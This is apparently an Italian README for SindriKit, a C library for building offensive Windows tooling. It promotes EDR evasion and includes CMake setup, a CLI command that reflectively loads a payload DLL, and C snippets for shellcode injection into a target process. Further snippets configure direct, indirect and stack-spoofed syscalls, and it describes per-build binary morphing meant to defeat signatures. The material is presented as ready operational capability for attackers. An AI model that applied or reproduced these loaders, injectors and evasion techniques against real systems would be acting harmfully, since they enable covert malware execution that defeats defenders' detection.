
Una libreria C fondamentale per costruire capacità offensive credibili a livello operativo
Lo sviluppo offensivo merita un'architettura migliore.
Una libreria C per costruire capacità offensive.
La maggior parte delle utility offensive codifica in modo rigido le proprie meccaniche di esecuzione all'interno della logica della tecnica. Un reflective loader non si limita a mappare un'immagine; la mappa utilizzando una catena specifica e hardcoded di chiamate VirtualAlloc o NTAPI native. Quando un EDR inizia a monitorare quella catena specifica, sei costretto a riscrivere l'intero strumento.
SindriKit risolve questo problema imponendo una separazione delle responsabilità tramite tabelle di astrazione delle interfacce:
Spostando le meccaniche di esecuzione su puntatori a funzione a runtime, puoi scambiare l'intera strategia da chiamate Win32 a syscall dirette raw con una singola riga di codice—senza modificare la logica di esecuzione del payload.
snd_memory_api_t, snd_module_api_t, snd_process_api_t, snd_thread_api_t, snd_mapping_api_t, snd_file_api_t) senza toccare la logica della tecnica.snd_syscall_resolve_ssn_scan, snd_syscall_resolve_ssn_sort) con una catena di priorità, disaccoppiati dagli invoker: direct, indirect (gadget NTDLL), o spoofed (spoofing dinamico dello stack di chiamata Fat-Frame).snd_status_t — un codice facility/locale impacchettato più l'errore OS catturato, con stringhe di contesto che vengono eliminate in fase di compilazione nel tier silent.SND_MORPH. Genera firme binarie uniche a ogni build iniettando predicati opachi volatili nel codice C, math/NOP funzionalmente equivalenti negli stub Assembly, e rimescolando il layout di memoria delle strutture core.SND_CRTLESS vanno oltre con /NODEFAULTLIB, nessun header SDK, un frontend PEB, e solo backend nativi.Il repository fornisce una singola CLI unified che esercita ogni profilo:
build.bat pocs
build64\pocs\Release\unified.exe load pe -f payload.dll -e Run --sys
unified supporta load pe|coff, inject classic|apc|hijack (shell, PE, COFF), e hg, ciascuno su --win/--nt/--sys. Vedi Esempi & PoC e Guida introduttiva.
cmake_minimum_required(VERSION 3.16)
project(MyTool C ASM_MASM)
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_MORPH ON CACHE BOOL "")
add_subdirectory(libs/SindriKit)
add_executable(my_tool src/main.c)
target_link_libraries(my_tool PRIVATE sindri::engine)
cmake -B build && cmake --build build --config Release
Solo due righe perché il tuo strumento erediti tutte le capacità di SindriKit: parsing PE e COFF, caricamento riflessivo, syscall a cascata, e profili di injection.
┌────────────────────────────────────────────────────────────────────────────┐
│ ANY OFFENSIVE INTENT │
│ Loader · Injector · Spoofer · Patcher · Bypasser · Harvester · ... │
├────────────────────────────────────────────────────────────────────────────┤
│ SINDRIKIT API ABSTRACTION LAYER │
│ snd_memory_api_t -> alloc · free · protect │
│ snd_module_api_t -> load_library · get_proc_address · ... │
│ snd_process_api_t -> open · alloc_remote · write · protect · thread │
│ snd_mapping_api_t -> open · view · close (KnownDlls bootstrap) │
│ snd_thread_api_t -> queue_apc · resume · suspend │
│ snd_file_api_t -> load │
├──────────────────┬──────────────────────┬──────────────────────────────────┤
│ Win32 Profile │ Native Profile │ Bring Your Own Mechanic │
│ VirtualAlloc │ NtAllocateVirtual │ Driver · ROP · Exotic │
│ LoadLibraryA │ PEB Walk + EAT │ Operator-defined functions │
└──────────────────┴──────────────────────┴──────────────────────────────────┘
In pratica, questo significa che ogni dominio segue lo stesso contratto:
// Reflective loader
snd_ldr_pe_ctx_t ctx = {0};
ctx.raw_source = &payload;
ctx.mem_api = &snd_mem_win; // or snd_mem_nt / snd_mem_sys
ctx.mod_api = &snd_mod_win; // or snd_mod_nt
snd_ldr_pe_prepare_image(&ctx);
snd_ldr_pe_execute_image(&ctx);
// Classic injection
snd_inj_ctx_t inj = {0};
inj.target_pid = 1337;
inj.payload = &shellcode;
inj.proc_api = &snd_proc_sys; // or snd_proc_win / snd_proc_nt
snd_inj_classic_shell(&inj);
snd_inj_cleanup(&inj);
SindriKit tratta la risoluzione delle syscall come una meccanica iniettabile, impilando strategie in ordine di priorità. Il motore procede a cascata finché una non riesce:
snd_ntdll_set_clean(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
// or for spoofed syscalls:
// snd_syscall_set_invoker(snd_syscall_spoofed_invoke_asm);
// snd_syscall_set_spoof_finder(snd_syscall_find_spoof_scan);
L'invoker è disaccoppiato dalla risoluzione SSN — passa tra syscall dirette, indirette e spoofed senza modificare il codice del dominio. L'invocazione indiretta salta a un gadget NTDLL legittimo così l'indirizzo di ritorno rimane dentro ntdll.dll; l'invocazione spoofed pianta inoltre un indirizzo di ritorno del chiamante genuino dentro un "Fat Frame" scoperto dinamicamente, così gli unwind dello stack di chiamata rimangono coerenti.